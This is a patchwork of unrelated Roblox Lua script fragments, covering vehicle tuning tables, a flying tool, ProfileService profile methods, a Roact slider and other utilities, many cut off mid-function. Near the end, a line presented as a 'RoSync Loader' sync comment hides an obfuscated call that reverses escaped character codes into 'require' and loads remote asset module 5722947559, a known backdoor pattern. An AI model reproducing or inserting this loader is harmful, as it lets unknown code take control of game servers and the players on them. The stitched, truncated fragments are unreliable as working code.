api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
--[[
Used to catch any errors that may have occurred in the promise.
]] |
function Promise.prototype:catch(failureCallback)
assert(
failureCallback == nil or type(failureCallback) == "function",
string.format(ERROR_NON_FUNCTION, "Promise:catch")
)
return self:_andThen(debug.traceback(nil, 2), nil, failureCallback)
end
Promise.prototype.Catch = Promise.prototype.catch
|
-------------------------------------------------------------------------- |
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = false ,
--Friction and Wear
FWearSpeed = .8 ,
FTargetFriction = .7 ,
FMinFriction = .1 ,
RWearSpeed = .8 ,
RTargetFriction = .8 ,
RMinFriction = .1 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = .5 , --SS6 Default = .5
RElasticity = .5 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 3.6 --SS6 Default = 3.6
}
|
--[[Transmission]] |
Tune.TransModes = {"Auto","Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.5 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2 ,
--[[ 3 ]] 1.4 ,
--[[ 4 ]] 1.1 ,
--[[ 5 ]] .8 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Segway |
-- |
script.Parent.Close.MouseButton1Click:Connect(function()
House.RemoveGui:InvokeServer(script.Parent.Parent)
end) |
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
Camera = game:GetService("Workspace").CurrentCamera
Animations = {}
LocalObjects = {}
Speed = {
CurrentSpeed = 5,
MaxSpeed = 100
}
Jumping = {
JumpTick = 0,
Jumps = 0,
JumpTime = 0.25,
JumpsRequired = 1
}
Controls = {
Forward = {Number = 0, Numbers = {On = -1, Off = 0}, Keys = {"W", 17}},
Backward = {Number = 0, Numbers = { On = 1, Off = 0}, Keys = {"S", 18}},
Left = {Number = 0, Numbers = {On = -1, Off = 0}, Keys = {"A", 20}},
Right = {Number = 0, Numbers = {On = 1, Off = 0}, Keys = {"D", 19}}
}
UsableAnimations = {
Pose = {Animation = Tool:WaitForChild("Pose"), FadeTime = nil, Weight = nil, Speed = nil},
}
Sounds = {
Wind = Handle:WaitForChild("Wind"),
}
FlyRate = (1 / 60)
Debounce = false
Flying = false
ToolEquipped = false
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
function SetAnimation(Mode, Value)
if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
elseif Mode == "StopAnimation" and Value then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function Fly()
if Flying and Player and Torso and Humanoid and Humanoid.Health > 0 then
local Momentum = Vector3.new(0, 0, 0)
local LastMomentum = Vector3.new(0, 0, 0)
local LastTilt = 0
local LastFlap = 0
local CurrentSpeed = Speed.MaxSpeed
local Inertia = (1 - (Speed.CurrentSpeed / CurrentSpeed))
Momentum = (Torso.Velocity + (Torso.CFrame.lookVector * 3) + Vector3.new(0, 10, 0))
Momentum = Vector3.new(Clamp(Momentum.X, -15, 15), Clamp(Momentum.Y, -15, 15), Clamp(Momentum.Z, -15, 15))
BodyVelocity.maxForce = Vector3.new(1, 1, 1) * (10 ^ 6)
BodyGyro.maxTorque = Vector3.new(BodyGyro.P, BodyGyro.P, BodyGyro.P)
BodyGyro.cframe = Torso.CFrame
Spawn(function()
InvokeServer("Flying", {Flying = true})
end)
SetAnimation("PlayAnimation", UsableAnimations.Pose)
Humanoid.AutoRotate = false
while Flying and Torso and Humanoid and Humanoid.Health > 0 do
if CurrentSpeed ~= Speed.MaxSpeed then
CurrentSpeed = Speed.MaxSpeed
Inertia = (1 - (Speed.CurrentSpeed / CurrentSpeed))
end
local Direction = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(Controls.Left.Number + Controls.Right.Number, math.abs(Controls.Forward.Number) * 0.2, Controls.Forward.Number + Controls.Backward.Number))
local Movement = Direction * Speed.CurrentSpeed
Momentum = (Momentum * Inertia) + Movement
local TotalMomentum = Momentum.magnitude
if TotalMomentum > CurrentSpeed then
TotalMomentum = CurrentSpeed
end
local Tilt = ((Momentum * Vector3.new(1, 0, 1)).unit:Cross(((LastMomentum * Vector3.new(1, 0, 1)).unit))).y
local StringTilt = tostring(Tilt)
if StringTilt == "-1.#IND" or StringTilt == "1.#IND" or Tilt == math.huge or Tilt == -math.huge or StringTilt == tostring(0 / 0) then
Tilt = 0
end
local AbsoluteTilt = math.abs(Tilt)
if AbsoluteTilt > 0.06 or AbsoluteTilt < 0.0001 then
if math.abs(LastTilt) > 0.0001 then
Tilt = (LastTilt * 0.9)
else
Tilt = 0
end
else
Tilt = ((LastTilt * 0.77) + (Tilt * 0.25))
end
LastTilt = Tilt
if TotalMomentum < 0.5 then
Momentum = Vector3.new(0, 0, 0)
TotalMomentum = 0
BodyGyro.cframe = Camera.CoordinateFrame
else
BodyGyro.cframe = CFrame.new(Vector3.new(0, 0, 0), Momentum) * CFrame.Angles(0, 0, (Tilt * -20)) * CFrame.Angles((math.pi * -0.5 * (TotalMomentum / CurrentSpeed)), 0, 0)
end
local GravityDelta = ((((Momentum * Vector3.new(0, 1, 0)) - Vector3.new(0, -Speed.MaxSpeed, 0)).magnitude / Speed.MaxSpeed) * 0.5)
if GravityDelta > 0.45 and tick() > LastFlap then
LastFlap = (tick() + 0.5)
Spawn(function()
if not Flying then
return
end
if not Sounds.Wind.IsPlaying then
Sounds.Wind:Play()
end
Spawn(function()
InvokeServer("SetWingSpan", {Angle = 0, MaxVelocity = 0.05})
end)
wait(0.25)
if not Flying then
return
end
Spawn(function()
InvokeServer("SetWingSpan", {Angle = 0.5, MaxVelocity = 0.05})
end)
wait(0.25)
end)
elseif GravityDelta <= 0.45 then
Sounds.Wind:Stop()
end
BodyVelocity.velocity = Momentum
LastMomentum = Momentum
wait(FlyRate)
end
Sounds.Wind:Stop()
Spawn(function()
InvokeServer("SetWingSpan", {Angle = 0, MaxVelocity = 0.01})
end)
Spawn(function()
InvokeServer("Flying", {Flying = false})
end)
SetAnimation("StopAnimation", UsableAnimations.Pose)
BodyVelocity.maxForce = Vector3.new(0, 0, 0)
BodyGyro.maxTorque = Vector3.new(0, 0, 0)
if CheckIfAlive() then
Humanoid.AutoRotate = true
Humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
end
end
end
function StopFlying()
Flying = false
BodyVelocity.maxForce = Vector3.new(0, 0, 0)
BodyGyro.maxTorque = Vector3.new(0, 0, 0)
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
local Key = string.lower(Key)
local ByteKey = string.byte(Key)
if ByteKey == string.byte(" ") and not Debounce then
if Flying then
StopFlying()
elseif not Flying then
if (tick() - Jumping.JumpTick) <= Jumping.JumpTime or Jumping.JumpTick == 0 then
Jumping.JumpTick = tick()
Jumping.Jumps = Jumping.Jumps + 1
if Jumping.Jumps >= Jumping.JumpsRequired then
Debounce = true
Jumping.JumpTick = 0
Jumping.Jumps = 0
Flying = true
Spawn(Fly)
Debounce = false
end
else
Jumping.JumpTick = tick()
Jumping.Jumps = 1
end
end
end
for i, v in pairs(Controls) do
for ii, vv in pairs(v.Keys) do
v.Number = ((((string.lower(type(vv)) == string.lower("String") and Key == string.lower(vv)) or (string.lower(type(vv)) == string.lower("Number") and ByteKey == vv)) and v.Numbers.On) or v.Number)
end
end
end)
Mouse.KeyUp:connect(function(Key)
local Key = string.lower(Key)
local ByteKey = string.byte(Key)
for i, v in pairs(Controls) do
for ii, vv in pairs(v.Keys) do
v.Number = ((((string.lower(type(vv)) == string.lower("String") and Key == string.lower(vv)) or (string.lower(type(vv)) == string.lower("Number") and ByteKey == vv)) and v.Numbers.Off) or v.Number)
end
end
end)
ToolEquipped = true
while not BodyVelocity or not BodyVelocity.Parent or not BodyGyro or not BodyGyro.Parent and CheckIfAlive() and ToolEquipped do
BodyVelocity = Torso:FindFirstChild("BodyVelocity")
BodyGyro = Torso:FindFirstChild("BodyGyro")
RunService.Stepped:wait()
end
end
function Unequipped()
LocalObjects = {}
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump}) do
if v then
v:disconnect()
end
end
Sounds.Wind:Stop()
Animations = {}
Flying = false
ToolEquipped = false
end
function InvokeServer(Mode, Value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(Mode, Value)
return ServerReturn
end)
end
function OnClientInvoke(Mode, Value)
if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", Value)
elseif Mode == "StopAnimation" and Value then
SetAnimation("StopAnimation", Value)
elseif Mode == "PlaySound" and Value then
Value:Play()
elseif Mode == "StopSound" and Value then
Value:Stop()
elseif Mode == "MousePosition" then
return PlayerMouse.Hit.p
elseif Mode == "DisableJump" then
DisableJump(Value)
elseif Mode == "Fly" and not Flying then
Flying = true
Spawn(function()
Fly()
end)
end
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
ClientControl.OnClientInvoke = OnClientInvoke
|
--- SRR.Stiffness = carSeat.Storage.RearStiffness.Value*((1290)) |
--end
end
if wheel > 2 then
carSeat.Parent.Differential.ControlX.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500
carSeat.Parent.Differential.ControlY.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500
carSeat.Parent.Transmission.ControlX.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500
carSeat.Parent.Transmission.ControlY.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500
else
carSeat.Parent.Differential.ControlX.Stiffness = 0
carSeat.Parent.Differential.ControlY.Stiffness = 0
carSeat.Parent.Transmission.ControlX.Stiffness = 0
carSeat.Parent.Transmission.ControlY.Stiffness = 0
end
end
|
-- for i = 1, 50 do |
--target = hum.TargetPoint
--newdir = (target - torso.Position) * Vector3.new(1, 0, 1)
--if newdir.magnitude > .01 then |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 640 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 9200 -- Use sliders to manipulate values
Tune.Redline = 10000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
------------------------------------------- |
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.5,0.495,1) * CFrame.fromEulerAnglesXYZ(math.rad(60),0,0) --Right leg
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2 |
--[[Engine]]
--Torque Curve |
Tune.Horsepower = 363 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Character.Injuries.BrokenArm.Value == true then
return true
end
return false
end
|
-- Almost redundant with function in jest-matcher-utils,
-- except no line diff for any strings. |
function isLineDiffableArg(expected: any, received: any): boolean
local expectedType = getType(expected)
local receivedType = getType(received)
if expectedType ~= receivedType then
return false
end
if isPrimitive(expected) then
return false
end
if expectedType == "date" or expectedType == "function" or expectedType == "regexp" or expectedType == "error" then
return false
end
-- ROBLOX TODO: Change this and other similar indexing as part of ADO-1372
if expectedType == "table" and typeof(expected.asymmetricMatch) == "function" then
return false
end
if receivedType == "table" and typeof(received.asymmetricMatch) == "function" then
return false
end
return true
end
|
-- Event Binding |
TimeObject.Changed:Connect(OnTimeChanged)
DisplayTimerInfo.OnClientEvent:Connect(OnDisplayTimerInfo)
return TimerManager
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .25 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .25 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = true -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Objects |
local plr = playerService.LocalPlayer
local char = plr.Character or plr.CharacterAdded:wait()
local settingsDir = script.Settings
function getSetting (name)
return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value
end
local normalSpeed = getSetting("Walking speed") or 18 -- The player's walking speed (Roblox default is 16)
local sprintSpeed = getSetting("Running speed") or 26 -- The player's speed while sprinting
local sprinting = false
inputService.InputBegan:Connect(function (key)
if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then
running = true
if char.Humanoid then
char.Humanoid.WalkSpeed = sprintSpeed
end
end
end)
inputService.InputEnded:Connect(function (key)
if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then
running = false
if char.Humanoid then
char.Humanoid.WalkSpeed = normalSpeed
end
end
end)
|
--Settings |
function Tween(obj,dir,info)
game:GetService("TweenService"):Create(obj,dir,info):Play()
end
local TweeningInformation = TweenInfo.new(2,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0)
while true do
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
wait(1)
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
wait(1)
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
wait(1)
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
wait(1)
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
wait(1)
Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
wait(1)
end
|
-- This makes the loading bar fill up. Don't touch anything here! |
local prog = 0
while wait() do
prog = prog + 0.5
script.Parent.Size = UDim2.new(prog/100, 0, 0.1, 0)
script.Parent.Parent.LoadingLabel.Text = ("Loading... " ..math.floor(prog*2).. "%")
if prog == 50 then
wait(1)
script.Parent.Parent.Parent:Destroy()
end
end
|
--[=[
Constructs a new CancelToken
@param executor (cancel: () -> ()) -> ()
@return CancelToken
]=] |
function CancelToken.new(executor)
local self = setmetatable({}, CancelToken)
assert(type(executor) == "function", "Bad executor")
self.PromiseCancelled = Promise.new()
self.Cancelled = Signal.new()
self.PromiseCancelled:Then(function()
self.Cancelled:Fire()
self.Cancelled:Destroy()
end)
executor(function()
self:_cancel()
end)
return self
end
local EMPTY_FUNCTION = function() end
|
--[[
Merges values from zero or more tables onto a target table. If a value is
set to None, it will instead be removed from the table.
This function is identical in functionality to JavaScript's Object.assign.
]] |
local function assign(target, ...)
for index = 1, select("#", ...) do
local source = select(index, ...)
if source ~= nil then
for key, value in pairs(source) do
if value == None then
target[key] = nil
else
target[key] = value
end
end
end
end
return target
end
return assign
|
-- The event to use for waiting (typically Heartbeat) |
local STEP_EVENT = RunService.Heartbeat
local function cleanupOnDestroy(instance: Instance?, task: cleanup.Task): (() -> ())
-- set up manual disconnection logic
local isDisconnected = false
local ancestryChangedConn
local function disconnect()
if not isDisconnected then
isDisconnected = true
ancestryChangedConn:Disconnect()
end
end
-- We can't keep a reference to the instance, but we need to keep track of
-- when the instance is parented to `nil`.
-- To get around this, we can save the parent from AncestryChanged here
local isNilParented = instance.Parent == nil
-- when AncestryChanged is called, run some destroy-checking logic
-- this function can yield when called, so make sure to call in a new thread
-- if you don't want your current thread to block
local function onInstanceMove(_doNotUse: Instance?, newParent: Instance?)
if isDisconnected then
return
end
-- discard the first argument so we don't inhibit GC
_doNotUse = nil
isNilParented = newParent == nil
-- if the instance has been moved into a nil parent, it could possibly
-- have been destroyed if no other references exist
if isNilParented then
-- We don't want this function to yield, because it's called
-- directly from the main body of `connectToDestroy`
coroutine.wrap(function()
-- This delay is needed because the event will always be connected
-- when it is first run, but we need to see if it's disconnected as
-- a result of the instance being destroyed.
STEP_EVENT:Wait()
if isDisconnected then
return
elseif not ancestryChangedConn.Connected then
-- if our event was disconnected, the instance was destroyed
cleanup(task)
disconnect()
else
-- The instance currently still exists, however there's a
-- nasty edge case to deal with; if an instance is destroyed
-- while in nil, `AncestryChanged` won't fire, because its
-- parent will have changed from nil to nil.
-- For this reason, we set up a loop to poll
-- for signs of the instance being destroyed, because we're
-- out of event-based options.
while
isNilParented and
ancestryChangedConn.Connected and
not isDisconnected
do
-- FUTURE: is this too often?
STEP_EVENT:Wait()
end
-- The instance was either destroyed, or we stopped looping
-- for another reason (reparented or `disconnect` called)
-- Check those other conditions before calling the callback.
if isDisconnected or not isNilParented then
return
end
cleanup(task)
disconnect()
end
end)()
end
end
ancestryChangedConn = instance.AncestryChanged:Connect(onInstanceMove)
-- in case the instance is currently in nil, we should call `onInstanceMove`
-- before any other code has the opportunity to run
if isNilParented then
onInstanceMove(nil, instance.Parent)
end
-- remove this functions' reference to the instance, so it doesn't influence
-- any garbage collection and cause memory leaks
instance = nil
return disconnect
end
return cleanupOnDestroy
|
-- humanoid.Torso.Color = teamColor
-- humanoid.Torso.Reflectance = 0.2
-- humanoid.LeftLeg.Color = teamColor
-- humanoid.LeftLeg.Reflectance = 0.2
-- humanoid.RightLeg.Color = teamColor
-- humanoid.RightLeg.Reflectance = 0.1 |
end
function onTouchHumanoid(humanoid)
local team = humanoid:findFirstChild("Team", false)
if team==nil then
joinTeam(humanoid)
elseif team.Value~=teamColor then
-- Harm the enemy!
humanoid.Health = 0
return
end
if not healerIsResting then
-- Heal the player
humanoid.Health = humanoid.Health + 50
coroutine.resume(coroutine.create(restHealer))
end
end
goingUp = false
function goUp(speed)
if goingUp then
return
end
goingUp = true
vel.velocity = Vector3.new(0,speed,0)
wait(15/speed)
vel.velocity = Vector3.new(0,-2,0)
goingUp = false
end
function onTouch(touchedPart)
-- see if a character touched it
local parent = touchedPart.Parent
if parent~=nil then
local humanoid = parent:findFirstChild("Humanoid", false);
if humanoid ~= nil then
onTouchHumanoid(humanoid)
goUp(10)
return
end
end
-- change direction
if touchedPart.Position.y > beacon.Center.Position.y then
vel.velocity = Vector3.new(0,-2,0)
goingUp = false
elseif touchedPart.Position.y < beacon.Center.Position.y then
goUp(2)
end
end
function connectPart(part)
part.Color = teamColor
part.Touched:connect(onTouch)
end
|
-- Profile object: |
local Profile = {
--[[
Data = {}, -- [table] -- Loaded once after ProfileStore:LoadProfileAsync() finishes
MetaData = {}, -- [table] -- Updated with every auto-save
GlobalUpdates = GlobalUpdates, -- [GlobalUpdates]
_profile_store = ProfileStore, -- [ProfileStore]
_profile_key = "", -- [string]
_release_listeners = {listener, ...} / nil, -- [table / nil]
_view_mode = true / nil, -- [bool / nil]
_load_timestamp = os.clock(),
_is_user_mock = false, -- ProfileStore.Mock
--]]
}
Profile.__index = Profile
function Profile:IsActive() --> [bool]
local loaded_profiles = self._is_user_mock == true and self._profile_store._mock_loaded_profiles or self._profile_store._loaded_profiles
return loaded_profiles[self._profile_key] == self
end
function Profile:GetMetaTag(tag_name) --> value
local meta_data = self.MetaData
if meta_data == nil then
return nil
-- error("[ProfileService]: This Profile hasn't been loaded before - MetaData not available")
end
return self.MetaData.MetaTags[tag_name]
end
function Profile:SetMetaTag(tag_name, value)
if type(tag_name) ~= "string" then
error("[ProfileService]: tag_name must be a string")
elseif string.len(tag_name) == 0 then
error("[ProfileService]: Invalid tag_name")
end
if self._view_mode == true then
error("[ProfileService]: Can't set meta tag in view mode")
end
if self:IsActive() == false then
error("[ProfileService]: PROFILE EXPIRED - Meta tags can't be set")
end
self.MetaData.MetaTags[tag_name] = value
end
function Profile:Reconcile()
ReconcileTable(self.Data, self._profile_store._profile_template)
end
function Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil)
if type(listener) ~= "function" then
error("[ProfileService]: Only a function can be set as listener in Profile:ListenToRelease()")
end
if self._view_mode == true then
error("[ProfileService]: Can't listen to Profile release in view mode")
end
if self:IsActive() == false then
-- Call release listener immediately if profile is expired
local place_id
local game_job_id
local active_session = self.MetaData.ActiveSession
if active_session ~= nil then
place_id = active_session[1]
game_job_id = active_session[2]
end
listener(place_id, game_job_id)
return {
Disconnect = function() end,
}
else
table.insert(self._release_listeners, listener)
return Madwork.NewArrayScriptConnection(self._release_listeners, listener)
end
end
function Profile:Save()
if self._view_mode == true then
error("[ProfileService]: Can't save Profile in view mode")
end
if self:IsActive() == false then
error("[ProfileService]: PROFILE EXPIRED - Can't save Profile")
end
-- We don't want auto save to trigger too soon after manual saving - this will reset the auto save timer:
RemoveProfileFromAutoSave(self)
AddProfileToAutoSave(self)
-- Call save function in a new thread:
coroutine.wrap(SaveProfileAsync)(self)
end
function Profile:Release()
if self._view_mode == true then
error("[ProfileService]: Can't release Profile in view mode")
end
if self:IsActive() == true then
coroutine.wrap(SaveProfileAsync)(self, true) -- Call save function in a new thread with release_from_session = true
end
end
|
--[[ Last synced 4/22/2021 04:06 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Services |
local ContextActionService = game:GetService 'ContextActionService'
|
-- Create component |
local Slider = Roact.PureComponent:extend(script.Name)
function Slider:init()
self.Maid = Maid.new()
end
function Slider:willUnmount()
self.Maid:Destroy()
ContextActionService:UnbindAction('SliderDragging')
end
function Slider:render()
return new('ImageButton', {
Active = false;
Size = self.props.Size;
BackgroundColor3 = self.props.BackgroundColor3;
LayoutOrder = self.props.LayoutOrder;
AutoButtonColor = false;
BorderSizePixel = 0;
[Roact.Event.InputBegan] = function (rbx, Input)
if (Input.UserInputType.Name == 'MouseButton1') or
(Input.UserInputType.Name == 'Touch') then
self:HandleDragInput(rbx, Input)
self:ListenToDragEvents(rbx)
end
end;
}, Cryo.Dictionary.join(self.props[Roact.Children] or {}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(0, 4);
});
Thumb = new('Frame', {
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
